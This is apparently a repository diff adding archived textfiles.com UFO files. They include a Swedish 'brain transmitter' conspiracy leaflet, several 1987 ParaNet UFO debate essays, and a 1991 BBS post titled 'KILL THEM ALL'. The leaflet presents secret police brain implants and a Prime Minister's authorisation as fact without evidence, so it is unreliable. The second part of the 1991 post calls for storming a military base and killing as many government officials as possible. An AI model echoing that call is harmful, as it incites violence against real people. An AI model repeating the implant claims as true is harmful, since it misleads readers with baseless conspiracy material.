KOSKI'S COMMENTARY, APPARENTLY (he is one of the victims referred to
below) (I THINK KOSKI IS THE ONE DISTRIBUTING THIS MATERIAL)
Robert Naeslund is one of the victims of Swedish brain-research.
On 15th January 1985 Robert Naeslund and 49 other people send a
petition to Magnus Sjberg, the Director of Public Prosecutions
of Sweden. The 49 people who had signed the petition varied for
professor of physics to journalists and human rights activists.
In petition they demanded investigation about braintransmitters
that are implanted in heads of people without their knowledge
and consent.
The director of public prosecutions who haven't earlier answered
Robert Naeslund's letters didn't answered this time either. His
subordinate, Chief Prosecutor Jonny Jarnefelt made his decision
after 3 months waiting that there is no reason to believe that
crime which may lead legal action has been committed and therefore
no investigation will be made.
This in spite of three professors testimony that certifies
presence of strange foreign objects in Robert Naeslund's skull.
====================================================================
====================================================================
On 1985. I got contact for R. Naeslund who is a victim of
Swedish brain-research. This yellow leaf is compiled from
information R. Naeslund and his friends have gathered.
(NOTE: Article follows)
BRAIN TRANSMITTER
Device which stream through the brain with a frequency that picks
up the sensory functions of the brain by means of a transmitted
wave length, which is transmitted to a receiver. Vision, thoughts,
images, hearing, etc are completely obvious to the person who has
the receiver connected to his head. Vision can even be transmitted
to a screen. The eyes of the person with an installed brain
transmitter function in this case the equivalent of the lens of a
camera.
(NOTE: comment on the margin - This is _not_ fantasy. Read J.M.R.
Delgado's "Physical Control Of The Mind.")
The brain transmitter is the size of about half of a cigarette filter.
The shell is manufactured of optical fibre, and teh contents of
liquid chrystals.
The brain transmitter is inserted into the head through the nose.
During its first experimental period the brain transmitter was
implanted in patients under general or local anesthesia during
hospital operations. The police began to use brain transmitters
around 1972.
During the early 70's, the police instigated illegal use of brain
transmitters. People under arrest and in detention were
anaesthetized by mixing somnisacients in food and drink. The
apparatus was then inserted.
A doctor at one of the larger hospitals in Stockholm has also
mentioned that young children were also used for these experiments
in order to evaluate thought activity and reactions in children.
(NOTE: comment on the margin - They start young. They (the victims)
are "visited" regularly throughout their lives by the controllers.)
According to information from a person close to Department Head
Falkenstam at the National Swedish Police Board, Swedish Prime
Minister Palme gave the police the rights in 1973 to insert brain
transmitters into the heads of human beings.
It has been verified by people in official positions that the brain
transmitter is used both in the Soviet Union and the United States,
as well as in countries such as Sweden.
One of the brain transmiiter centre in Sweden is known to be
located at the police headquarters at Kungsholmen, Stockholm.
(NOTE: end of article)
Some of the victims of Swedish brain-manipulation are dead,
some alive. According to Robert Naeslund, the last victim who
died was Edward Kelly. He died for cancer on 28, May 1985.
United Nations Center of Human Rights, Chief for communications
unit, Jacob T.H. Muller answered on 14th August for a complaint made
for Swedish government illegal use of brainstransmitters: "I regret
having to inform you that the United Nations cannot be of any
assistance to you in the matter which you have raised."
With the exception of a few free newspapers, Swedish media have
exercised total silence about this matter
=======================================================================
=============================== *EOF* =================================


80
textfiles.com/ufo/truce.ufo Normal file
View File

@@ -0,0 +1,80 @@
The following article is reprinted from California UFO Magazine, Vol. 2
Issue 3.
-------------------------
SCIENCE VS. SPIRIT:
LET'S CALL A TRUCE
by Jim Speiser
Let's get one thing straight: I don't believe in channeling, crystal
power, pyramid power, Space Brothers, or Semjase. I don't have an Akashic
Record (or cassette, for that matter). I put no stock in Shirley MacLaine.
As a so-called secular humanist, I don't even believe in God. My belief in
the possibility that UFOs represent an extraordinary potential leap in our
knowledge is based on a plethora of highly compelling evidence, and on the
lack of cohesive logical arguments to the contrary.
This belief basis places me squarely in the empirical "nuts-and-
bolts" camp of Ufology. I am, of course, aware that there are others whose
belief is more spiritually oriented, who seem to have mystically achieved
certainty of various aspects of the phenomenon, where I have achieved mere-
ly excited interest.
Since the very early days of contactees and credible professionals
tackling the UFO issue, it seems these two camps have been at odds with
one another, but never more so than now, in an era that sports both Bill
Moore and Billy Meier. Those of us in the empirical camp have in the past
regarded "spiritual" Ufology as something of a nuisance, and have strug-
gled to separate ourselves from it in the eyes of the public, the media,
and the academic community. Our attempts at gaining recognition within the
scientific establishment have been thwarted by our inability to fully a-
chieve this perceptual schism. It's been rather like trying to get a date
while your little brother who picks his nose is hanging around.
Recently, however, it appears that some of our attempts at dicho-
tomizing have taken on a more vitriolic tone, as characterized by cor-
respondence that has appeared in CALIFORNIA UFO. One writer representing a
major organization claimed that the magazine would never sell as long as
it included "unfounded 'contactee' garbage." An ad appearing in the back
of the same issue was printed without the group's name, for fear of "guilt
by association."
It seems to me that such entities as this magazine and the National
UFO Conference are appropriate forums for many different points of view,
and have stated so from the outset. Whether we like it or not, contactees,
channelers, etc. are part and parcel of the larger sociological phenomenon
we lump under "UFOs." Certainly, there are elements of fraud and huckster-
ism in both camps, and it is our responsibility to make every attempt to
weed these out and point them out as such. But there are many on the
"spiritual side" who are sincere, honest individuals merely guided in
their search for the truth by _internal_, rather than _external_, evidence
-- and regardless of whether their professions of faith are products of
self-delusion or wishful thinking, they are entitled to fair treatment in
any publication that assays to cover the gamut of thinking and theorizing
in the areas of UFOs and extraterrestrials.
This attempt at total burial of our spiritual side puts me in mind
of one of the more reprehensible activities in modern society, known as
"fag-bashing," wherein a certain element of Cro-Magnon knuckledraggers
feels compelled to beat the daylights out of homosexuals, in order to
reinforce (mainly to themselves) their own masculinity.
I should think scientific Ufology would have matured to the point
where we can be comfortable enough with our own ufological "machismo" that
we can at least tolerate the existence of those whose epistemology is more
mystically derived than our own. While still decrying their credulity, we
can at least acknowledge their rights to freedom of speech. Continuing to
bash them, in order to reinforce (mainly to ourselves) our own legitimacy,
is to engage in the same sort of witch-hunting we accuse our skeptical
detractors of committing.
Further, much as we left-brainers are loath to admit, there is a
strong possibility that some of the answers to the UFO question lie in the
metaphysical realm. The problem arises when such theorizing is represented
to the public as legitimate, evidence-based Ufology. It then becomes more
be plenty of room in
that sucker for all of us.
--------------------------
To subscribe to California UFO, write them at:
1800 S. Robertson Blvd.
Los Angeles, CA 90035
C


1302
textfiles.com/ufo/ufo-cons Normal file
View File

File diff suppressed because it is too large Load Diff

1518
textfiles.com/ufo/ufo-cons.txt Normal file
View File

File diff suppressed because it is too large Load Diff

130
textfiles.com/ufo/ufo-kill.txt Normal file
View File

@@ -0,0 +1,130 @@
7/50: KILL THEM ALL part 1
Name: Michael Luciano #61 @7317
Date: Mon Oct 21 05:53:57 1991
From: Reality Check (Arlington/Alexandria/Roanoke, Virginia)
KILL THEM ALL
=============
10-21-91
I fear that my outspoken militant position regarding UFOs may lead people to
believe that I am over-simplifying the issue. The issue is far more complex,
and profound than I can express.
My instincts are clear to me on this matter. What I lack is sufficient
knowledge to pinpoint what it is my instincts are telling me. My instincts
tell me that the horrible reality we face is nothing compared to the obvious.
The obvious I speak of are the human and animal dissections, the abductions,
the genetic experimentation, and the occupation of our land.
But there is more, and at this time, only the elitist government officials
know of it. Will you please take a moment to think about this phenomenon?
Will you think about the implications of their presence among us?
My friends, they have been with us since the beginning of our time. Our
involvement with them began when WE began. They have always watched us, they
have always manipulated us. They have been made to be gods in the skies, they
have been watched in awe. And now, they have manifested themselves as a
visible entity to THOSE WHO HAVE AUTHORITY OVER US. And together, they
co-operate in a code of silence, as business partners who only care about
their own agendas.
But my instincts tell me of a horror more threatening than this. My instincts
tell me that the profound implications of this continual alien intervention is
about to lead to something truly hideous, an abomination to our sense of
goodness.
Consider the size of what is about to occur. We are on the brink of a
horrible truth that will change every aspect of our reality forever.
My senses tell me that these entities are changing what we consider to be
reality. Their agenda, so to speak, perhaps, is to twist our reality, to rip
apart any inter-dimensional barrier that might exist between our world and
theirs.
What we consider to be absolute time and space is not absolute, ladies and
gentlemen, but relative. It too, can be manipulated. And I believe, as my
instincts are clear, that they are hurting us in a horrible and inconceivable
way.
I've heard allegations that the Alien Presence has taught scientists certain
aspects of time/space manipulation... but not everything. Indeed, quantum
physics can get scarey, as even =its= implications are incredibly profound.
I firmly believe that the U.S. government has voluntarily released information
on UFOs; not because we are entitled to the Truth, but because the U.S.
Government is literally overflowing with information regarding the phenomenon
and the frightening technologies acquired from it.
What you and I see, ladies and gentlemen, is simply the tip of a huge mountain
of information. The real horror, is still waiting to be discovered. The real
secrets, are still hidden. And most of our populace, has not a clue.
The Alien Presence continues to manifest and multiply itself throughout the
world. Their Presence is becoming more tangible, like a stake driven into our
sense of reason. Now is the time. We have reached a point in our evolution
in which they see a "convenience" in bringing us into another stage of
existence.
They are not a barbaric race of beings. Their hostilities penetrate our
minds, not our hearts. From the human dissections and stolen fetuses, to the
hidden agenda itself... their hostilities are not militant in nature. Their
hostilities are not for military gain. It is for a gain that I cannot
understand, yet.
Read:(1-50,^7),? :
8/50: KILL THEM ALL / final
Name: Michael Luciano #61 @7317
Date: Mon Oct 21 05:56:12 1991
From: Reality Check (Arlington/Alexandria/Roanoke, Virginia)
We must resist. It is our duty. We deserve to exist, to be, to live as we
are now. The world as we know it is about to come to an end. We are about to
enter a new age, and unless we fight for our existence, they are going to
destroy us as human beings.
They continue to tear the fabric of time and space, of our reality. The
elitists within this government are obsessed with learning about that
technology, rather than dealing with that technology being used against us
right now. This is not some petty concern, as war should be declared
sparingly. But if ever there is a time to force the government to enlighten
us, THE TIME IS NOW.
Consider the seriousness. Consider the implications. Consider the future.
The coming years will be bloody, and whatever comfort you are now in will be
lost and you will be forced to take a side. Waiting and hoping and fear of
spilling blood, will kill all of us.
The time to launch an assault on our military has come. We must gather our
forces as patriotic Americans to launch a strike on a traitorous military base
in this country. We must kill as many government officials in this base as
possible, because in protecting our common enemy, the Government has become an
enemy.
It has been rumored that said base has nuclear detonators beneathe its
surface. In times when "national security" is at severe risk, it is rumored
that military authorities have seen fit to detonate a nuclear device under the
base in order to destroy anything and anyone that might reveal secrets to
domestic and foreign forces.
Do you see what type of establishment we are up against? They would rather
blow up their own country than to inform its public. That is why we must not
be terrorists. We must be annihilators. We must use sweeping force against
definite targets so that we can eliminate their capabilities of "defense." We
must not occupy the base, we must storm it and retreat with the goodies. We
must hit and then we must run.
Understand that we will not merely be fighting to be left alone. We will be
fighting for our very existence, and for Truth.
Michael Luciano
Read:(1-50,^8),? :

1379
textfiles.com/ufo/ufo.txt Normal file
View File

File diff suppressed because it is too large Load Diff

55
textfiles.com/ufo/ufo0.dbt Normal file
View File

@@ -0,0 +1,55 @@
THE GREAT UFO DEBATE:
INTRODUCTION
In April of 1986, I attended the 10th Anniversary Convention and
Banquet of the Committee for the Scientific Investigation of Claims
of the Paranormal (CSICOP). There I sat next to a charming gentleman
named Lucien Kemble, who told me to my surprise that he was a Fran-
ciscan monk. Fr. Kemble and I talked and dined together often at the
convention, and we have maintained a correspondence ever since. His
skeptical attitude towards the paranormal stems from his desire not
to see the true works of God and Christ get lost in a flurry of meta-
magical fluff and nonsense. As an accomplished amateur star-gazer, he
views the beautifully integrated mechanics of the universe itself as
the one true "paranormal" occurrence.
In our correspondence, I raised with him my disagreement with
CSICOP's attitude on UFOs. "SOMETHING is going on up there," I told
him, "and Science is missing the boat." Rather than sneering at me
condescendingly, as others have, he very politely and with genuine
curiosity asked me my reasons for believing thus. It was then that
the idea of a public electronic debate on the subject occurred to me.
The fortieth anniversary of the traditional beginning of the UFO
era presents an appropriate time frame for a reasoned, objective dis-
cussion of the UFO issue, specifically, whether UFOs represent a gen-
uine opportunity to add significantly to our knowledge of the uni-
verse, or are simply a figment of the collective imagination. As Para-
Net is philosophically neutral territory, a sort of electronic "Hyde
Park" of the paranormal, what better venue for such a discussion to
take place.
Here, therefore, begins the second ParaNet Debate: UFOs, 1987 -
After 40 Years, Have We Got ANYTHING? I will begin the debate with a
brief article, which will be posted here and submitted to Fr. Kemble
for his reply. Copies of the submissions will be sent to various
others in the field, skeptics and believers alike, for their perusal
and possible response. In addition, all ParaNet users are invited to
participate. You can submit a response by typing it on an ASCII word
processor and uploading it to Section 1 - Ufology, or if it is less
than 2000 characters, simply post it to the message base. Non-users
can simply send a typewritten submission of up to 3000 words to:
ParaNet, PO Box 17675, Fountain Hills, AZ, 85268. (If you happen to
have access to IBM-formatted disks, you can submit in that manner as
well.) As ParaNet is an eleemosynary entity, we regret that we cannot
compensate anyone for a submission; we ask that you do this in the
interest of public education. However, all copyrights will be honored
and posted as requested.
The fruits of the debate will be stored in the ParaNet Library for
reference by future generations of Truth-seekers.
And now, let the debate begin!
--Jim Speiser


73
textfiles.com/ufo/ufo1.dbt Normal file
View File

@@ -0,0 +1,73 @@
UFOLOGY: AFTER 40 YEARS, STILL NO RESPECT
by Jim Speiser
___________________________
On June 24th of this year, we will mark the 40th anniversary of the
start of the present "flying saucer" era. No subject has captured the
imagination or sparked so much controversy as the UFO phenomenon. It's been
characterized as the "silly season that wouldn't go away."
And why hasn't it gone away? The debunkers tell us that such things run
in cycles, and UFO flaps, or waves, are merely the effects of the domino
theory at work. A particularly well-publicized story in one section of the
country, the theory goes, will cause starry-eyed true believers in other
areas to suddenly delude themselves into believing that, "yeah, I seen it
too!" That, they tell us, is what happened in 1973 when over 1200 cases were
reported in the country, after a few sightings in the southeast were bally-
hooed.
Yet, here we are in the Year of the UFO, with three major books on the
market, Shirley MacLaine preaching the Gospel of Our Lady of the Pleiades,
and a Japanese airliner serving French wine to gigantic flying walnuts.
Where's the flap? In the first five months of 1987, the UFO Information Ser-
vice has recorded only 27 sightings.
Isn't it possible that the cyclical nature of UFOs is a characteristic
of the phenomenon itself, and not of our collective "attunement"? Such
questions as this need to be addressed more honestly by those who tell us
there's nothing new in our atmosphere.
And there are other questions. Why are we constantly fed bromides like,
"Astronomers do not see UFOs"? When you adjust for the explainable
sightings, they see them in approximately the same proportionate numbers as
the general populace.
Explaining UFO sightings is one thing. Excessive, obsessive debunking is
quite another. The rise of organized skepticism has raised negativism to a
new art form. I call it "The Discount Muffler Theory of Ufology," because I
am reminded of the TV commercial where two chimpanzees are banging on a muff-
ler to get it to fit a car it was obviously not designed for. The debunkers
constantly try to hammer the facts into place, in order to get them to fit a
given situation.
The message of this New Negativism is clear: those of us interested in
UFO research are nothing but childish, uneducated, anti-intellectual twits,
who should probably go home and watch reruns of Star Trek. To be truly in-
tellectually chic, these days, one must NOT let one's mind entertain such
silly notions.
While a few skeptics grudgingly acknowledge the scientific competence of
some ufologists, the majority are characterized as unworthy of their
letters. And those of us below the doctorate level are made to feel sympathy
with the witches of Salem. I envision in the near future bumper stickers
that say, "Kill a Believer for CSICOP."
Given that Ufology and "Mainstream Science" share a common ancestor,
namely Curiosity, the question must be asked, Is all this abject negativism
truly in the best interest of science? Perhaps the debunkers are right, and
there really is nothing new under the sun. How has it harmed anyone to
wonder, to look further, to investigate? One gets the impression that the
skeptics would prefer us all to pack up our geiger counters, our VCRs, and
our autographed copies of "Communion" and go home, never again to whisper
the phrase, "UFOs are real". OK, what if we complied? And what if we were
right in the first place, BUT NEVER FOUND OUT? How great the loss to
science?
As I said, questions remain. Questions like: If the Cash/Landrum case
is a hoax, as Mr. Klass has said, how were Betty Cash and Vicki and Colby
Landrum able to fake the symptoms of radiation poisoning? Can a bolide
really remain in the Earth's atmosphere for 45 seconds...and then skip off
into space? Can a group of ultralight pilots really perform a turn about a
point in absolutely flawless formation, at night, without navigation lights?
Are airline pilots with 20 years experience really capable of mistaking a
planet 800 million miles distant for a gigantic spaceship only 8 miles
distant?
I firmly believe that UFOs are worthy of responsible investigation; that
some responsible investigation has occurred already, and has turned up evi-
dence worth a closer look. I also firmly believe that as long as a substan-
tial number of questions such as these remain unanswered, and a substantial
number of ends remain loose, that the Extraterrestrial Hypothesis, no matter
how scientifically unlikely, remains too important to dismiss out of hand.
There, I've said it. Get the stake ready for another witch.


46
textfiles.com/ufo/ufo2.dbt Normal file
View File

@@ -0,0 +1,46 @@
No longer a Time to Debate!
by Ralph Toscano
There exists the possibility that the UFO phenomenon is far stranger than
we are led to believe. The UFO-Buff considers each case as authentic, and
that the "space-brothers" are here for our redemption. Then on the other
hand you have the hard-core skeptic. His major focus is to see that all
the people who have a UFO experience are discredited at whatever cost.
Last, and perhaps most important, you have the concerned investigators,
who unfortunately are stuck between these warring factions, and sometimes
being pushed into one of these camps without any consideration for his
true expertise. The thought has crossed my mind that perhaps the best way
to cover for any activity would be to get the people of the particular
race so involved with arguing amongst each other that they actually "miss
the boat" as far as what is really going on around them. I feel that the
strangeness of this phenomena is not entirely centered around the "Extra-
terrestrial Hypothesis". I think that for the most part, it has been the
government of each country that has made this phenomena so mysterious.
If you go on the premise that the documents recovered through the FOIA are
legitimate, then these materials speak for themselves. The U.S. government
is obviously up to some clandestine operation designed to suppress or dis-
credit any individual victim to a UFO experience. And the documents go
MUCH deeper, there are hints that the government actually has in its pos-
session assorted space debris TOTALLY alien to planet Earth!! Even if
these documents prove to be bogus, and we have no reason to think they
are, then we must turn to the many incidents in which irrefutable physical
side-effects are our best evidence. The whole phenomena is not going to go
away, its been around a lot longer than the 40 years we acknowledge. There
are many passages in the Bible which describe strange lights or even veh-
icles that parallel the incidents that occur today. These occurrences con-
tinue throughout history.
It is no longer a question of is there something happening here, but more
a question of WHAT is happening here! Since we cannot rely on our military
or even our government for that matter, any information must come from
other sources inside these communities. It is time for an operation such
as "BluePeace" to swing into action! Let's get the congressional hearings
started now! All the skeptics will be needing a change of shorts when this
happens.


70
textfiles.com/ufo/ufo3.dbt Normal file
View File

@@ -0,0 +1,70 @@
>> Mr. Howard is the former Western States Associate Director of the venerable Ground Saucer Watch (GSW).
----------------------------------------------------------------------
Forty years! Forty years since the Kenneth Arnold sighting near
Mt. Rainier in Washington state. Forty years since the popular press
coined the term "flying saucer."
An incredible span of time for so little accomplishment in dis-
covering the secrets of the enigmatic UFO. An incredible span of time
for such little scientific headway in explaining the UFO phenomena.
Or has there been little progress?
During this period the Air Force concluded Project Twinkle with
the assertion that the UFO phenomena was not of earthly origin. Some
time later the Air Force repudiated that conclusion and instituted
Project Blue Book to explain away the phenomena.
In the same period the Robertson panel, in essence, concluded
that the American people were not psychologically capable of accepting
the truth of the existence of extraterrestrials. That such informa-
tion could cause mass hysteria and economic collapse.
We've had Adamski and Van Tassel. We've also had hoaxers,
grifters, and scam workers galore, those that sought notoriety,
glamor, fame and money through exploitation of the UFO phenomena.
We, as a nation, have in the same time created a space program
and landed men on the moon. We have created an international telecom-
munications network with man made orbiting satellites. We have creat-
ed electricity through the use of controlled nuclear fission. We have
launched ships and submarines propelled, and spacecraft powered by
that selfsame energy.
For a short time shadowy "men in black" seemed to haunt those
that reported a UFO. And the scientists of our nation took flight
with a great monotonous cry denouncing reported UFO sightings as
misapprehension, reflections from birds, sunlight glinting from high
flying aircraft, swamp gas, hoax, any and everything but an honest
evaluation of the phenomena.
In light of our national accomplishments and great strides in
technology, and despite incredible, even superhuman, efforts by the
debunkers, the UFO phenomena persists. There is a core of inex-
plicable sightings reported by reputable citizens. Inexplicable, in
the sense that they are too well documented by people with nothing to
gain from their reports except, invariably, a big hassle and a desire
for the truth. Inexplicable in the sense that these few reports are
not explained by any known phenomena.
The FOIA has given the serious researchers and investigators a
tool with which, hopefully, to free the UFO phenomena from the
clutches of governmental secrecy. We, additionally, need to continue
the pursuit of "good" sightings. We need to analyze and correlate the
data that we have. We need to establish a working hypothesis or
hypotheses that can and will account for all the cases of reported UFO
sightings.
What is my axe?, you might ask. I remember my interest as I read
the newspaper account of the Arnold sighting, and my immature specula-
tion regarding the account. Man and boy, for forty years, I have fol-
lowed the continuing UFO reports. I have been air crew and pilot,
back yard astronomer and photographer, professionally involved in
electronics and computers, yet the interest remains. I have been in-
volved with organizations whose goal was the scientific investigation
of the UFO phenomena and I participated in a number of field investi-
gations of purported UFO sightings with no slackening of interest.
Truly it has waxed and waned, with the seasons of my life, occupying
differing degrees of priority as those seasons have passed; yet, the
interest still remains.
What is the explanation of this enigmatic UFO phenomena? For the
unknowns there is, as yet, no satisfactory scientific explanation.
Do I believe in a phenomena, global in nature, respecter of no
person or intellect, seemingly oblivious to national boundaries, cares
nothing for season or belief, and repeats in tantalizing ways? Sure!
I believe that something, as yet unexplained, is happening in the
skies over the planet earth, or in the minds of earth people every-
where, and I would like to live long enough to see this mystery
solved.


42
textfiles.com/ufo/ufo4.dbt Normal file
View File

@@ -0,0 +1,42 @@
May 27, 1987 - The Great UFO Debate
.
After forty years, Have We Got Anything? By God, if we don't then somebody is
blind! The works of Hopkins and Strieber alone should be enough evidence to
convince any normal unprejudiced group of people. Non-human entities have
been and still are taking US citizen's by force, disfiguring the bodies and
inflecting psychological changes upon them. Had a Black, Mexican, Puerto
Rican (or any minority for that matter) perpetrated what these aliens
regularly get away with there would be lynch mobs searching the hills with
shotguns and blood hounds looking for them. I have seen people convicted and
put in prison by our legal system with less proof. Consider the following
scenario. A typical abduction case but the situation has been changed to
reflect humans instead of aliens.
.
Joe is walking down a dark country road. Suddenly bright headlights from a
car (UFO) startle Joe. As the headlights creep nearer, Joe is paralyzed
with fear. Then a strange seedy bald little midget (ALIEN) grabs Joe and
ties him up (PUTS HIM IN A TRANCE) so that he can't move any part of his body
but his eyes. He's hauled (LEVITATED) in the a silver customized van (SAUCER
SHAPED OBJECT) where he's terrorized (TERRORIZED) and cut up with a knife
(CUT UP WITH A SHARP OBJECT). Joe is than carry (FLOATED) back to where he
was pick up and told to keep his mouth shut! (MADE TO FORGET THROUGH SOME
UNKNOWN PSYCHOLOGICAL PROCESS). Folks, that is called kidnapping and armed
assault.
.
The truly amazing part of the story surfaces when this pattern is repeated not
once or twice or even three times but HUNDREDS.
.
It is amusing and thought provoking to speculate about their purpose. Makes
good cocktail talk. But, the facts remain. 1) They come in the dark.
2) They incapacitated people in a way we don't understand. 3) People are
taken against their will. 4) There bodies are often disfigured. 5) They
cause people to lose their memory for which our science can't yet explain.
6) They conceal there presence. Not a very pretty picture.
.
What is called for is an aggressive, proactive program to determine their
purpose, communicate our dissatisfaction with their methods (IF there purpose
is innocent) and lastly establish a method to stop, by force if necessary,
their culturally unsatisfactory actions (call me ethnocentric but when
they're here they live by our rules.)
Ted Markley


40
textfiles.com/ufo/ufo5.dbt Normal file
View File

@@ -0,0 +1,40 @@
>> Dale Ledoux is a member of ParaNet Gamma in Lousiana.-------------------------------------------------------- While I have not read th
e material released under FOIA on this
subject, and am therefore not fully informed on it, I am still
skeptical. I offer the hypothesis that, assuming there is another
civilization advanced enough to visit earth from extra-terrrestrial
origin, these beings would also have within their means the ability
to determine the fate of their previous probes, and would also have
the means to propogate the news of their arrival(s) better than has
been done.
To date, I have seen no evidence that this has been done. As a
past walker among battlefields, I have found many things that are of
questionable origin, and many unexplained phenomena. Within the
realm of my limited knowledge, I often find 'predictable' systems
acting in unpredictable fashion, but all this means is that I don't
have all the information.
Too much of the UFObia smacks of efforts to ascribe near-godhood
to extraterrestrials and to ascribe to government the time-worn idea
that THEY (it's always the mysterious THEY) are trying to keep
something good from us. I already feel that our country's security
is too lax, and if these boys can't keep a secret about a recently
developed piece of hardware like the F-19, I really don't think they
can keep a secret about assorted and sundry chunks of
extraterrestrial hardware stored in some desert warehouse.
Of course, these same aliens could also be trying to remain
incognito, in which case they wouldn't want the publicity. If that
were the case, though, I doubt that they'd be really happy about this
evidence in the hands of terrestrial authorities. I still contend
that they'd be able to do something about it.
Then, too, is the question, what sort of technology do you think
the government is hiding if indeed they are hiding something? Unless
I miss some bets, I think we can detail a fairly consistent research
path to all of today's technology from earlier levels. I wish
somebody would point to one of the quantum jumps that would possibly
arise as a result of exposure to the detritus of some advanced
civilization's space probe. It'd certainly be nice, though, if I
could comfort myself with the knowledge that Reagan's SDI is based on
some other technology from Alpha Centauri than the stuff I know
about. Maybe this IS true. Aw, shoot, there I go again...


104
textfiles.com/ufo/ufo6.dbt Normal file
View File

@@ -0,0 +1,104 @@
>> Fr. Lucien Kemble is a Franciscan friar living in Alberta, Canada.
--------------------------------------------------------------------------
I am grateful to Jim Speiser for introducing me, via some lengthy and
stimulating exchanges at the last two CSICOP conferences (Boulder and Pasa-
dena), to this UFO debate. As an advanced and avid amateur astronomer and
one who is keenly interested in and fairly well-read in many areas of sci-
ence, I have followed the UFO controversies since their inception. I have
also been interested in all phenomena of the natural world, as a Francis-
can Friar and priest, follower of St. Francis of Assisi, sharing his great
love for the physical universe. Drawing on scientific methods of critique
and on the necessity of rational bases for what is called "faith", both
scientific and religious, I have discovered a complementarity, not a con-
tradiction, between science and faith. But that is another story.
As regards the UFO debate: I think it absolutely necessary to make
some important distinctions and to clarify usage of terms. I have been
asked very frequently, "With your telescope and viewing of the heavens,
have you ever seen any UFOs?" Without being facetious, I usually reply,
"Yeah, lots of them. Why, just the other day I saw an unidentified bird
flying down the valley. And once I saw a tiny, strange, periodic flashing
in the sky for which I had no explanation." I know what is behind such
questions - the universal confusion between UFO's and flying saucers or
Extra-terrestrial Phenomena (ETP's). It needs repeating ad nauseum that
UFO's are, by definition, precisely unidentified and therefore, even
though they demand full examination, they ought not be, but usually are,
identified via wishful thinking with an ETP, spaceship, alien visitations,
etc.
But, in spite of this persistent confusion, there ought to be always
as full an investigation as possible, without an a priori acceptance or re-
jection. Most people are usually let down when their supposed ETP is ex-
plainable or explained simply in terms of a very natural, but to them un-
familiar, down-to-earth phenomenon. To such people, rational, critical ex-
planations are so much "taking the fun out of life." There is always room
for "fun", but not at the expense of clear thinking.
A second necessary distinction in this, as in other areas of inquiry,
has to do with an ambiguous use of words such as "skeptic," "criticism,"
"judgement," etc. Too often these and like words seem to carry, quite
wrongfully, the idea of condemnation of a person. When the statement is
made, "you are so critical!", it is usually meant as a reproach. In reali-
ty it should be considered a compliment. True criticism, critique, is a
quality whereby the critic uses his full powers of intelligent inquiry,
taking nothing for granted or by gut reaction, feelings, etc., but who
evaluates, weighs, judges. He takes into account all pertinent facts, ex-
cludes all contradictory evidence, and at least tries to avoid personal
feelings and interest, preconceived opinions, etc. One may have a so-
called right to one's opinion, but that opinion becomes objectively valid
only when it conforms to critically evaluated data.
A third distinction has to do with weighing possibilities against
probabilities against certitude. There are few of the latter, but one
really gets into hot water, especially in the UFO/ETP debate, when one
begins with a mere possibility and expands it, e.g. "Inhabited worlds are
POSSIBLE. Therefore there are PROBABLY hundreds of more advanced civili-
zations. Surely, then, ET's and spaceships HAVE to exist (CERTITUDE). A
capital principle in logic is never to cross the border from one assertion
to the next. A "possible" remains only that, and neither it nor a probable
becomes a fact. To date, as regards UFOs being anything but naturally ex-
plicable phenomena, there are no hard certainties or facts or, for that
matter, even probabilities.
A fourth clarification, and an important one, deals with things that
can be known but not proven. Generally, knowledge is gained via three path-
ways: evidence; rational proof from assured data or principles; faith, of
any kind. Physical hands-on evidence is, of course, fundamental, provided
illusion, sense-defective collecting of data, etc., are excluded. ET ori-
gins of UFOs are out of the question so far, as regards hard evidence.
Rational proof or intellectually critical evaluation, is of the utmost
importance as a human pathway to truth. The third mode knowledge is the
one that gives us trouble because of our western bias concerning an imag-
ined faith/reason exclusivity and contradiction. But, looked at object-
ively, most of our ordinary knowledge indeed comes to us via some kind of
faith. St. Paul gives a good definition of faith by calling it the "sub-
stance of things unseen, but hoped for or trusted in." As an example, I
personally did not see Neil Armstrong set foot on the moon - all I did see
was TV coverage of an event which now KNOW to be true. I take it on faith
or trust in the reliability of TV networks (which can be verified). Such
coverage can be reliable in this respect (in spite of so many other unreli-
abilities of TV as truth purveyors. In short, the value of any knowledge
gleaned through faith is going to be as strong as the reliability of my
source. I may not fully comprehend all that I do believe, nor even be able
to prove it for that matter, but I must always be ready with good reasons
to prove WHY I believe. Anything less is gullibility. And the same applies
to the opposite, i.e. one must back up one's rejection of any reported
phenomenon with as solid reasons as one would want for acceptance.
In the UFO/ETP debate, then, it would seem that there are two extreme
camps: the fervent "believers" with nothing to really back up their asser-
tions; the "scoffers" who dismiss without any real reasons for doing so.
In this, as in so many other areas of supposedly extraordinary phenomena,
one has to be open to full, unbiased research, sifting of facts, ridding
oneself of bias one way or the other and, in general, trying to be as ob-
jective as possible.
In specific areas, the arguments against UFOs being ETP's and the
option, for the time being, for their explanation as purely earthly, mater-
ial phenomena, are many and convincing. But that's for another time.
Respectfully submitted,
LJK


45
textfiles.com/ufo/ufo7.dbt Normal file
View File

@@ -0,0 +1,45 @@
>>Mr. Klass is former Avionics Editor of Aviation Week & Space Technology
Magazine, and widely recognized as the world's foremost UFO debunker.
----------------------
Although I am really much too busy working on my new book on "UFO
abductions," and my assignments for Aviation Week & Space Technology
magazine, I chanced to note your pernicious comment that you "envision in
the near future bumper stickers that say, `Kill a Believer for CSICOP.'"
What a dreadfully inaccurate comment from one who has attended a
CSICOP conference, where the "believers" are invited to present their
views -- in striking contrast to MUFON conferences. (At the recent first
general meeting of the National Capital Area Skeptics, Dr. Bruce Maccabee
was invited to present the pro-UFO side of `UFO-abductions' and given
equal time to my own. Did he invite me to speak at his FUFOR sponsored
MUFON conference later this month??)
As for your lament, "Ufology: After 40 Years, Still No Respect," the
same lament has been voiced by The Flat Earth Society, by those who
believe in "ancient astronauts," in ghosts and poltergeist -- and was
earlier voiced by the late Sir Arthur Conan Doyle when organized science
showed no interest in his photos and tales of fairies (the tiny variety).
The explanation is simple: The world's leading scientists are dum-
dums, which explains why our scientific knowledge has not advanced one
iota in the past 100 years!!!!!
If world-reknown [sic] scientists fail to be impressed by the evid-
ence that you and other UFOlogists find so impressive, then clearly it is
"they" and not you who are at fault. And "they" would be more open-minded
if it were not for the tiny handful of skeptics, such as Klass, Sheaffer,
and Oberg. Why is it that Hynek, McDonald, Maccabee, Sturrock, Westrum,
Truzzi, etc., all with Ph.D.'s, were/are not able to overcome the negativ-
ism of a tiny handful of skeptics without such academic pedigrees?
It never once occurs to UFO-proponents like yourself that perhaps--
perhaps--there is no UFO evidence that the world's great scientific minds
find impressive. That it is only impressive to those who have an overwhelm-
ing desire to believe, to the credulous and gullible.
But be of good cheer, at age 67 I do not have many more years ahead,
and Sheaffer and Oberg in time will pass. Then, with the three of us gone--
